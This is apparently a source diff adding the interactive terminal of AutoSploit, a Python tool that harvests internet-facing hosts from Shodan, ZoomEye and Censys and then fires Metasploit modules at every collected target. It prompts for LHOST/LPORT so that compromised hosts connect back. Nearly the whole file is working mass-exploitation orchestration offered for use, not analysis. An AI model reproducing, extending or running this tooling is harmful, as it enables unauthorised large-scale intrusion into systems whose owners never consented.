1+ import os
2+ import sys
3+ # import threading
4+
5+ import lib .settings
6+ import lib .output
7+ import lib .exploitation .exploiter
8+ import api_calls .shodan
9+ import api_calls .zoomeye
10+ import api_calls .censys
11+
12+
13+ stop_animation = False
14+
15+
16+ class AutoSploitTerminal (object ):
17+
18+ """
19+ class object for the main terminal of the program
20+ """
21+
22+ def __init__ (self , tokens ):
23+ self .tokens = tokens
24+ self .usage_path = lib .settings .USAGE_AND_LEGAL_PATH
25+ self .host_path = lib .settings .HOST_FILE
26+ self .sep = "-" * 30
27+
28+ def usage_and_legal (self ):
29+ """
30+ shows a display of the output and legal information that resides
31+ in the etc/text_files/general file.
32+
33+ option 1 must be provided to display
34+ """
35+ lib .output .info ("preparing to display usage and legal" )
36+ with open (self .usage_path ) as usage :
37+ print (usage .read ().strip ())
38+
39+ def help (self , command ):
40+ """
41+ print the help of the commands
42+ """
43+ help_dict = {
44+ "usage" : self .usage_and_legal ,
45+ "view" : self .view_gathered_hosts ,
46+ "single" : self .add_single_host ,
47+ "exit" : self .quit ,
48+ "gather" : self .gather_hosts ,
49+ "exploit" : self .exploit_gathered_hosts ,
50+ "custom" : self .custom_host_list
51+ }
52+ for key in help_dict .keys ():
53+ if command == key :
54+ lib .output .info ("help found for provided argument:" )
55+ print (self .sep )
56+ print (help_dict [key ].__doc__ )
57+ print (self .sep )
58+ break
59+ else :
60+ lib .output .warning ("unable to find help for provided command '{}'" .format (command ))
61+ lib .output .info ("available helps '{}'" .format (
62+ ", " .join ([k for k in help_dict .keys ()])
63+ ))
64+
65+ def view_gathered_hosts (self ):
66+ """
67+ print a list of all available hosts in the hosts.txt file
68+
69+ option 5 must be provided
70+ """
71+ lib .output .info ("loading gathered hosts from {}" .format (self .host_path ))
72+ with open (self .host_path ) as hosts :
73+ for host in hosts .readlines ():
74+ lib .output .info (host .strip ())
75+
76+ def add_single_host (self ):
77+ """
78+ add a singluar host to the hosts.txt file and check if the host
79+ will resolve to a true IP address, if it is not a true IP address
80+ you will be re-prompted for an IP address
81+
82+ option 4 must be provided
83+ """
84+ provided = False
85+ while not provided :
86+ new_host = lib .output .prompt ("enter the host IP you wish to add" , lowercase = False )
87+ if not lib .settings .validate_ip_addr (new_host ):
88+ lib .output .warning ("provided host does not appear to be a true IP, try again" )
89+ else :
90+ with open (self .host_path , "a+" ) as hosts :
91+ hosts .write (new_host + os .linesep )
92+ lib .output .info ("successfully wrote provided host to {}" .format (self .host_path ))
93+ break
94+
95+ def quit (self , status ):
96+ """
97+ quits the terminal and exits the program entirely
98+
99+ option 99 must be provided
100+ """
101+ lib .output .error ("aborting terminal session" )
102+ assert isinstance (status , int )
103+ sys .exit (status )
104+
105+ def gather_hosts (self , query , given_choice = None ):
106+ """
107+ gather hosts from either Shodan, Zoomeye, Censys, or multiple
108+ by providing a comma between integers.
109+
110+ option 2 must be provided
111+ """
112+ global stop_animation
113+
114+ choice_dict = {
115+ 1 : api_calls .shodan .ShodanAPIHook ,
116+ 2 : api_calls .zoomeye .ZoomEyeAPIHook ,
117+ 3 : api_calls .censys .CensysAPIHook
118+ }
119+ searching = False
120+ if given_choice is None :
121+ lib .output .info ("please choose an API to gather from (choosing two "
122+ "separate by comma IE; 1,2)" )
123+ for i , api in enumerate (lib .settings .API_URLS .keys (), start = 1 ):
124+ print ("{}. {}" .format (i , api .title ()))
125+ choice = raw_input (lib .settings .AUTOSPLOIT_PROMPT )
126+ else :
127+ choice = given_choice
128+ while not searching :
129+ try :
130+ choice = int (choice )
131+ # t = threading.Thread(
132+ # target=lib.settings.animation,
133+ # args=("performing lookup for provided query '{}'".format(query),)
134+ # )
135+ # t.daemon = True
136+ # t.start()
137+ if choice == 1 :
138+ choice_dict [choice ](self .tokens ["shodan" ][0 ], query ).shodan ()
139+ # stop_animation = True
140+ break
141+ elif choice == 2 :
142+ choice_dict [choice ](query ).zoomeye ()
143+ # stop_animation = True
144+ break
145+ elif choice == 3 :
146+ choice_dict [choice ](self .tokens ["censys" ][1 ], self .tokens ["censys" ][0 ], query ).censys ()
147+ # stop_animation = True
148+ break
149+ else :
150+ lib .output .warning ("invalid option provided" )
151+ except (ValueError , KeyError ):
152+ if "," in choice :
153+ for i in choice .split ("," ):
154+ if int (i ) in choice_dict .keys ():
155+ self .gather_hosts (query , given_choice = int (i ))
156+ else :
157+ lib .output .warning ("invalid option, skipping" )
158+ break
159+ break
160+ else :
161+ lib .output .warning ("must be integer between 1-{} not string" .format (len (lib .settings .API_URLS .keys ())))
162+ self .gather_hosts (query )
163+
164+ def exploit_gathered_hosts (self , loaded_mods , hosts = None ):
165+ """
166+ exploit already gathered hosts from the hosts.txt file
167+
168+ option 6 must be provided
169+ """
170+ ruby_exec = False
171+ msf_path = None
172+ if hosts is None :
173+ hosts = open (self .host_path ).readlines ()
174+ if not lib .settings .check_for_msf ():
175+ msf_path = lib .output .prompt (
176+ "it appears that MSF is not in your PATH, provide the full path to it"
177+ )
178+ ruby_exec = True
179+ lib .output .info (
180+ "you will need to do some configuration to MSF.\n "
181+ "please keep in mind that sending connections back to "
182+ "your local host is probably not a smart idea."
183+ )
184+ configuration = (
185+ lib .output .prompt ("enter your workspace name" , lowercase = False ),
186+ lib .output .prompt ("enter your LHOST" , lowercase = False ),
187+ lib .output .prompt ("enter your LPORT" , lowercase = False )
188+ )
189+ exploiter = lib .exploitation .exploiter .AutoSploitExploiter (
190+ open (lib .settings .HOST_FILE ).readlines (),
191+ configuration ,
192+ loaded_mods ,
193+ ruby_exec = ruby_exec ,
194+ msf_path = msf_path
195+ )
196+ sorted_mods = exploiter .sort_modules_by_query ()
197+ choice = lib .output .prompt (
198+ "a total of {} modules have been sorted by relevance, would you like to display them[y/N]" .format (
199+ len (sorted_mods )
200+ )
201+ )
202+ if not choice .lower ().strip ().startswith ("y" ):
203+ mods = lib .output .prompt ("use relevant modules[y/N]" )
204+ if mods .lower ().startswith ("n" ):
205+ lib .output .info ("starting exploitation with all loaded modules (total of {})" .format (len (loaded_mods )))
206+ exploiter .start_exploit (loaded_mods , hosts )
207+ elif mods .lower ().startswith ("y" ):
208+ lib .output .info ("starting exploitation with sorted modules (total of {})" .format (len (sorted_mods )))
209+ exploiter .start_exploit (sorted_mods , hosts )
210+ else :
211+ exploiter .view_sorted ()
212+ mods = lib .output .prompt ("use relevant modules[y/N]" )
213+ if mods .lower ().startswith ("n" ):
214+ lib .output .info ("starting exploitation with all loaded modules (total of {})" .format (len (loaded_mods )))
215+ exploiter .start_exploit (loaded_mods , hosts )
216+ elif mods .lower ().startswith ("y" ):
217+ lib .output .info ("starting exploitation with sorted modules (total of {})" .format (len (sorted_mods )))
218+ exploiter .start_exploit (sorted_mods , hosts )
219+
220+ def custom_host_list (self , mods ):
221+ """
222+ provided a custom host list that will be used for exploitation
223+
224+ option 3 must be provided
225+ """
226+ provided_host_file = lib .output .prompt ("enter the full path to your host file" , lowercase = False )
227+ self .exploit_gathered_hosts (mods , hosts = provided_host_file )
228+
229+ def terminal_main_display (self , loaded_mods ):
230+ """
231+ main output of the terminal
232+ """
233+ lib .output .info ("welcome to AutoSploit, choose an option, type 99 to quit" )
234+ selected = False
235+
236+ try :
237+ while not selected :
238+ for i in lib .settings .AUTOSPLOIT_TERM_OPTS .keys ():
239+ print ("{}. {}" .format (i , lib .settings .AUTOSPLOIT_TERM_OPTS [i ].title ()))
240+ choice = raw_input (lib .settings .AUTOSPLOIT_PROMPT )
241+ try :
242+ choice = int (choice )
243+ if choice == 99 :
244+ print (self .sep )
245+ self .quit (0 )
246+ print (self .sep )
247+ elif choice == 6 :
248+ print (self .sep )
249+ self .exploit_gathered_hosts (loaded_mods )
250+ print (self .sep )
251+ elif choice == 5 :
252+ print (self .sep )
253+ self .view_gathered_hosts ()
254+ print (self .sep )
255+ elif choice == 4 :
256+ print (self .sep )
257+ self .add_single_host ()
258+ print (self .sep )
259+ elif choice == 3 :
260+ print (self .sep )
261+ self .custom_host_list (loaded_mods )
262+ print (self .sep )
263+ elif choice == 2 :
264+ print (self .sep )
265+ query = lib .output .prompt ("enter your search query" , lowercase = False )
266+ self .gather_hosts (query )
267+ print (self .sep )
268+ elif choice == 1 :
269+ print (self .sep )
270+ self .usage_and_legal ()
271+ else :
272+ lib .output .warning ("invalid option provided" )
273+ except ValueError :
274+ if not choice == "help" :
275+ if "help" in choice :
276+ try :
277+ help_arg = choice .split (" " )
278+ self .help (help_arg [- 1 ])
279+ except :
280+ lib .output .error ("choice must be integer not string" )
281+ else :
282+ lib .output .warning ("option must be integer not string" )
283+ elif choice == "help" :
284+ lib .output .error ("must provide an argument for help IE 'help exploit'" )
285+
286+ except KeyboardInterrupt :
287+ print ("\n " )
288+ self .terminal_main_display (loaded_mods )
0 commit comments